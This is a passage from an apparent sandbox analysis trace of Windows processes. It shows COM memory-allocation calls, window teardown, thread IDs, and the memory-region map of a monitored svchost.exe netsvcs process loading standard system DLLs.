	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb665b20) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb790830) 
	[0225.358] IUnknown:Release (This=0xbb2bc38) returned 0x0
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xbf13420) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb8d6220) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb665890) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xbb723d0) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb667310) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb666270) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xbacfa30) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0x74cdb20) 
	[0225.359] IMalloc:Free (This=0x7feffc15380, pv=0xc0c6410) 
	[0225.359] IMalloc:Free (This=0x7feffc15380, pv=0xc0c6650) 
	[0225.359] IMalloc:Free (This=0x7feffc15380, pv=0xbd15f10) 
	[0225.359] IMalloc:Free (This=0x7feffc15380, pv=0xbd15fd0) 
	[0225.359] IMalloc:Free (This=0x7feffc15380, pv=0xba57970) 
	[0225.359] IMalloc:Free (This=0x7feffc15380, pv=0xbd1dee0) 
	[0225.359] IMalloc:Free (This=0x7feffc15380, pv=0x4eef540) 
	[0225.359] IMalloc:Free (This=0x7feffc15380, pv=0xb6d79f0) 
	[0225.359] VirtualFree (lpAddress=0x69b0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.360] VirtualFree (lpAddress=0x6c80000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0225.360] IMalloc:Free (This=0x7feffc15380, pv=0xbd2fac0) 
	[0225.360] IMalloc:Free (This=0x7feffc15380, pv=0xb666420) 
	[0225.360] IMalloc:Free (This=0x7feffc15380, pv=0xbbacf60) 
	[0225.360] IUnknown:Release (This=0xbb43508) returned 0x0
	[0225.361] IMalloc:Realloc (This=0x7feffc15380, pv=0xc0bcae0, cb=0x0) returned 0x0
	[0225.361] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb666420
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0xbacfa60) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0xb666230) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0xc0bd0e0) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0xb8d6870) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0x7383170) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0xbb71ab0) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0xb666320) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0xb666420) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0xbace270) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0x74cdf10) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0xbd16090) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0xbd16150) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0xba57b20) 
	[0225.361] IMalloc:Free (This=0x7feffc15380, pv=0xbb72450) 
	[0225.361] wcsncpy_s (in: _Destination=0x289c10, _SizeInWords=0x108, _Source="*\\Z065dbe89f0", _MaxCount=0x106 | out: _Destination="*\\Z065dbe89f0") returned 0x0
	[0225.361] CharLowerBuffW (in: lpsz="*\\Z065dbe89f0", cchLength=0xd | out: lpsz="*\\z065dbe89f0") returned 0xd
	[0225.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z065dbe89f0", cchWideChar=14, lpMultiByteStr=0x289b40, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z065dbe89f0", lpUsedDefaultChar=0x0) returned 14
	[0225.361] _wcsicmp (_String1="*\\Z065dbe89f0", _String2="*\\Z065dbe89f0") returned 0
	[0225.382] IMalloc:Realloc (This=0x7feffc15380, pv=0xb791d60, cb=0x0) returned 0x0
	[0225.382] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xbacfa20
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0xbfa4970) 
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0xb7504b0) 
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0xb791d30) 
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0xb8d9af0) 
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0xb7507e0) 
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0xc0ebcd0) 
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0xbe1a2b0) 
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0xbacfa20) 
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0xbfa4990) 
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0xbe870c0) 
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0x764cae0) 
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0xbb70d10) 
	[0225.382] IMalloc:Free (This=0x7feffc15380, pv=0xbb70df0) 
	[0235.703] SendMessageA (hWnd=0x202b0, Msg=0x10, wParam=0x0, lParam=0x0) returned 0x0
	[0235.703] IsWindow (hWnd=0x0) returned 0
	[0235.703] IsWindow (hWnd=0x0) returned 0
	[0235.703] IsWindow (hWnd=0x0) returned 0
	[0235.703] PeekMessageA (in: lpMsg=0x28cdf0, hWnd=0x202b0, wMsgFilterMin=0x1007, wMsgFilterMax=0x1007, wRemoveMsg=0x3 | out: lpMsg=0x28cdf0) returned 0
	[0235.703] DestroyWindow (hWnd=0x202b0) returned 1
	[0235.704] DeleteDC (hdc=0x40109dd) returned 1
	[0235.839] DllDebugObjectRPCHook () returned 0x1
	[0235.840] DllCanUnloadNow () 
	[0235.853] FreeLibrary (hLibModule=0x7fee5ac0000) returned 1
	[0236.114] __clean_type_info_names_internal () returned 0x0

Thread:
	id = 38
	os_tid = 0xab8


Thread:
	id = 39
	os_tid = 0xabc


Thread:
	id = 40
	os_tid = 0xae4


Thread:
	id = 86
	os_tid = 0xb0c


Thread:
	id = 131
	os_tid = 0x804


Thread:
	id = 260
	os_tid = 0xa58


Process:
	id = "2"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x745e000"
	os_pid = "0x36c"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "rpc_server"
	parent_id = "1"
	os_parent_pid = "0x8e4"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 644
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 645
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 646
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 647
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 648
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 649
	        start_va = 0xc0000
	          end_va = 0xc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 650
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 651
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 652
	        start_va = 0xf0000
	          end_va = 0xf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 653
	        start_va = 0x100000
	          end_va = 0x100fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000100000"
	        filename = ""

Region:
	              id = 654
	        start_va = 0x110000
	          end_va = 0x110fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000110000"
	        filename = ""

Region:
	              id = 655
	        start_va = 0x120000
	          end_va = 0x120fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000120000"
	        filename = ""

Region:
	              id = 656
	        start_va = 0x130000
	          end_va = 0x131fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000130000"
	        filename = ""

Region:
	              id = 657
	        start_va = 0x140000
	          end_va = 0x143fff
	     entry_point = 0x140000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 658
	        start_va = 0x150000
	          end_va = 0x15ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000150000"
	        filename = ""

Region:
	              id = 659
	        start_va = 0x160000
	          end_va = 0x161fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000160000"
	        filename = ""

Region:
	              id = 660
	        start_va = 0x170000
	          end_va = 0x19ffff
	     entry_point = 0x170000
	     region_type = mapped_file
	            name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000001c.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000001c.db")

Region:
	              id = 661
	        start_va = 0x1a0000
	          end_va = 0x1a3fff
	     entry_point = 0x1a0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 662
	        start_va = 0x1b0000
	          end_va = 0x1b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001b0000"
	        filename = ""

Region:
	              id = 663
	        start_va = 0x1c0000
	          end_va = 0x1c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000001c0000"
	        filename = ""

Region:
	              id = 664
	        start_va = 0x1d0000
	          end_va = 0x24ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001d0000"
	        filename = ""

Region:
	              id = 665
	        start_va = 0x250000
	          end_va = 0x34ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000250000"
	        filename = ""

Region:
	              id = 666
	        start_va = 0x350000
	          end_va = 0x3b5fff
	     entry_point = 0x350000
	     region_type = mapped_file
	            name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db")

Region:
	              id = 667
	        start_va = 0x3c0000
	          end_va = 0x4bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003c0000"
	        filename = ""

Region:
	              id = 668
	        start_va = 0x4c0000
	          end_va = 0x647fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000004c0000"
	        filename = ""

Region:
	              id = 669
	        start_va = 0x650000
	          end_va = 0x7d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000650000"
	        filename = ""

Region:
	              id = 670
	        start_va = 0x7e0000
	          end_va = 0x89ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007e0000"
	        filename = ""

Region:
	              id = 671
	        start_va = 0x8a0000
	          end_va = 0xc92fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000008a0000"
	        filename = ""

Region:
	              id = 672
	        start_va = 0xca0000
	          end_va = 0xcbbfff
	     entry_point = 0xca0000
	     region_type = mapped_file
	            name = "firewallapi.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui")

Region:
	              id = 673
	        start_va = 0xcc0000
	          end_va = 0xd3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000cc0000"
	        filename = ""

Region:
	              id = 674
	        start_va = 0xd40000
	          end_va = 0xdbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d40000"
	        filename = ""

Region:
	              id = 675
	        start_va = 0xdf0000
	          end_va = 0xdfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000df0000"
	        filename = ""

Region:
	              id = 676
	        start_va = 0xe40000
	          end_va = 0xebffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e40000"
	        filename = ""

Region:
	              id = 677
	        start_va = 0xed0000
	          end_va = 0xf4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ed0000"
	        filename = ""

Region:
	              id = 678
	        start_va = 0xf50000
	          end_va = 0xfcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f50000"
	        filename = ""

Region:
	              id = 679
	        start_va = 0x1010000
	          end_va = 0x101ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001010000"
	        filename = ""

Region:
	              id = 680
	        start_va = 0x1060000
	          end_va = 0x10dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001060000"
	        filename = ""

Region:
	              id = 681
	        start_va = 0x10e0000
	          end_va = 0x13aefff
	     entry_point = 0x10e0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 682
	        start_va = 0x13d0000
	          end_va = 0x144ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000013d0000"
	        filename = ""

Region:
	              id = 683
	        start_va = 0x1450000
	          end_va = 0x14cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001450000"
	        filename = ""

Region:
	              id = 684
	        start_va = 0x1520000
	          end_va = 0x159ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001520000"
	        filename = ""

Region:
	              id = 685
	        start_va = 0x15a0000
	          end_va = 0x161ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000015a0000"
	        filename = ""

Region:
	              id = 686
	        start_va = 0x1620000
	          end_va = 0x169ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001620000"
	        filename = ""

Region:
	              id = 687
	        start_va = 0x16e0000
	          end_va = 0x175ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016e0000"
	        filename = ""

Region:
	              id = 688
	        start_va = 0x1760000
	          end_va = 0x17dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001760000"
	        filename = ""

Region:
	              id = 689
	        start_va = 0x1810000
	          end_va = 0x188ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001810000"
	        filename = ""

Region:
	              id = 690
	        start_va = 0x1890000
	          end_va = 0x190ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001890000"
	        filename = ""

Region:
	              id = 691
	        start_va = 0x1940000
	          end_va = 0x19bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001940000"
	        filename = ""

Region:
	              id = 692
	        start_va = 0x19e0000
	          end_va = 0x1a5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000019e0000"
	        filename = ""

Region:
	              id = 693
	        start_va = 0x1a60000
	          end_va = 0x1adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001a60000"
	        filename = ""

Region:
	              id = 694
	        start_va = 0x1b00000
	          end_va = 0x1b7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b00000"
	        filename = ""

Region:
	              id = 695
	        start_va = 0x1b90000
	          end_va = 0x1c0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b90000"
	        filename = ""

Region:
	              id = 696
	        start_va = 0x1c60000
	          end_va = 0x1cdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001c60000"
	        filename = ""

Region:
	              id = 697
	        start_va = 0x1d40000
	          end_va = 0x1dbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d40000"
	        filename = ""

Region:
	              id = 698
	        start_va = 0x1e20000
	          end_va = 0x1e9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001e20000"
	        filename = ""

Region:
	              id = 699
	        start_va = 0x1ea0000
	          end_va = 0x1f9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001ea0000"
	        filename = ""

Region:
	              id = 700
	        start_va = 0x1fa0000
	          end_va = 0x201ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001fa0000"
	        filename = ""

Region:
	              id = 701
	        start_va = 0x2020000
	          end_va = 0x2362fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002020000"
	        filename = ""

Region:
	              id = 702
	        start_va = 0x2370000
	          end_va = 0x246ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002370000"
	        filename = ""

Region:
	              id = 703
	        start_va = 0x2550000
	          end_va = 0x25cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002550000"
	        filename = ""

Region:
	              id = 704
	        start_va = 0x2630000
	          end_va = 0x26affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002630000"
	        filename = ""

Region:
	              id = 705
	        start_va = 0x2770000
	          end_va = 0x27effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002770000"
	        filename = ""

Region:
	              id = 706
	        start_va = 0x2810000
	          end_va = 0x288ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002810000"
	        filename = ""

Region:
	              id = 707
	        start_va = 0x28e0000
	          end_va = 0x295ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000028e0000"
	        filename = ""

Region:
	              id = 708
	        start_va = 0x2960000
	          end_va = 0x2a5ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002960000"
	        filename = ""

Region:
	              id = 709
	        start_va = 0x2a90000
	          end_va = 0x2b0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a90000"
	        filename = ""

Region:
	              id = 710
	        start_va = 0x2bd0000
	          end_va = 0x2c4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002bd0000"
	        filename = ""

Region:
	              id = 711
	        start_va = 0x2c50000
	          end_va = 0x2d4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c50000"
	        filename = ""

Region:
	              id = 712
	        start_va = 0x2dd0000
	          end_va = 0x2ecffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002dd0000"
	        filename = ""

Region:
	              id = 713
	        start_va = 0x2f20000
	          end_va = 0x2f2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002f20000"
	        filename = ""

Region:
	              id = 714
	        start_va = 0x2f80000
	          end_va = 0x2f8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002f80000"
	        filename = ""

Region:
	              id = 715
	        start_va = 0x2fa0000
	          end_va = 0x301ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fa0000"
	        filename = ""

Region:
	              id = 716
	        start_va = 0x3150000
	          end_va = 0x31cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003150000"
	        filename = ""

Region:
	              id = 717
	        start_va = 0x32d0000
	          end_va = 0x334ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000032d0000"
	        filename = ""

Region:
	              id = 718
	        start_va = 0x3350000
	          end_va = 0x33cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003350000"
	        filename = ""

Region:
	              id = 719
	        start_va = 0x33e0000
	          end_va = 0x345ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000033e0000"
	        filename = ""

Region:
	              id = 720
	        start_va = 0x3460000
	          end_va = 0x355ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003460000"
	        filename = ""

Region:
	              id = 721
	        start_va = 0x3590000
	          end_va = 0x360ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003590000"
	        filename = ""

Region:
	              id = 722
	        start_va = 0x3710000
	          end_va = 0x378ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003710000"
	        filename = ""

Region:
	              id = 723
	        start_va = 0x3890000
	          end_va = 0x390ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003890000"
	        filename = ""

Region:
	              id = 724
	        start_va = 0x3b80000
	          end_va = 0x3bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003b80000"
	        filename = ""

Region:
	              id = 725
	        start_va = 0x3c60000
	          end_va = 0x3cdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003c60000"
	        filename = ""

Region:
	              id = 726
	        start_va = 0x3ce0000
	          end_va = 0x3edffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003ce0000"
	        filename = ""

Region:
	              id = 727
	        start_va = 0x3f10000
	          end_va = 0x3f8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003f10000"
	        filename = ""

Region:
	              id = 728
	        start_va = 0x4020000
	          end_va = 0x409ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004020000"
	        filename = ""

Region:
	              id = 729
	        start_va = 0x40b0000
	          end_va = 0x412ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000040b0000"
	        filename = ""

Region:
	              id = 730
	        start_va = 0x4190000
	          end_va = 0x420ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004190000"
	        filename = ""

Region:
	              id = 731
	        start_va = 0x4280000
	          end_va = 0x42fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004280000"
	        filename = ""

Region:
	              id = 732
	        start_va = 0x43c0000
	          end_va = 0x443ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000043c0000"
	        filename = ""

Region:
	              id = 733
	        start_va = 0x77a20000
	          end_va = 0x77b19fff
	     entry_point = 0x77a20000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 734
	        start_va = 0x77b20000
	          end_va = 0x77c3efff
	     entry_point = 0x77b20000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 735
	        start_va = 0x77c40000
	          end_va = 0x77de8fff
	     entry_point = 0x77c40000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 736
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 737
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 738
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 739
	        start_va = 0xffc20000
	          end_va = 0xffc2afff
	     entry_point = 0xffc20000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 740
	        start_va = 0x7fef35d0000
	          end_va = 0x7fef3611fff
	     entry_point = 0x7fef35d0000
	     region_type = mapped_file
	            name = "tcpipcfg.dll"
	        filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll")

Region:
	              id = 741
	        start_va = 0x7fef4dd0000
	          end_va = 0x7fef4e09fff
	     entry_point = 0x7fef4dd0000
	     region_type = mapped_file
	            name = "mprapi.dll"
	        filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll")

Region:
	              id = 742
	        start_va = 0x7fef59c0000
	          end_va = 0x7fef59cbfff
	     entry_point = 0x7fef59c0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 743
	        start_va = 0x7fef5b20000
	          end_va = 0x7fef5b9dfff
	     entry_point = 0x7fef5b20000
	     region_type = mapped_file
	            name = "wbemess.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll")

Region:
	              id = 744
	        start_va = 0x7fef5ba0000
	          end_va = 0x7fef5bb5fff
	     entry_point = 0x7fef5ba0000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 745
	        start_va = 0x7fef5bc0000
	          end_va = 0x7fef5c7bfff
	     entry_point = 0x7fef5bc0000
	     region_type = mapped_file
	            name = "wmiprvsd.dll"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll")

Region:
	              id = 746
	        start_va = 0x7fef5c80000
	          end_va = 0x7fef5cf2fff
	     entry_point = 0x7fef5c80000
	     region_type = mapped_file
	            name = "repdrvfs.dll"
	        filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll")

Region:
	              id = 747
	        start_va = 0x7fef5d00000
	          end_va = 0x7fef5d25fff
	     entry_point = 0x7fef5d00000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")

Region:
	              id = 748
	        start_va = 0x7fef5d30000
	          end_va = 0x7fef5d9afff
	     entry_point = 0x7fef5d30000
	     region_type = mapped_file
	            name = "hnetcfg.dll"
	        filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll")

Region:
	              id = 749
	        start_va = 0x7fef5da0000
	          end_va = 0x7fef5db8fff
	     entry_point = 0x7fef5da0000
	     region_type = mapped_file
	            name = "resutils.dll"
	        filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll")

Region:
	              id = 750
	        start_va = 0x7fef5dc0000
	          end_va = 0x7fef5e0ffff
	     entry_point = 0x7fef5dc0000
	     region_type = mapped_file
	            name = "clusapi.dll"
	        filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll")

Region:
	              id = 751
	        start_va = 0x7fef5e10000
	          end_va = 0x7fef5e23fff
	     entry_point = 0x7fef5e10000
	     region_type = mapped_file
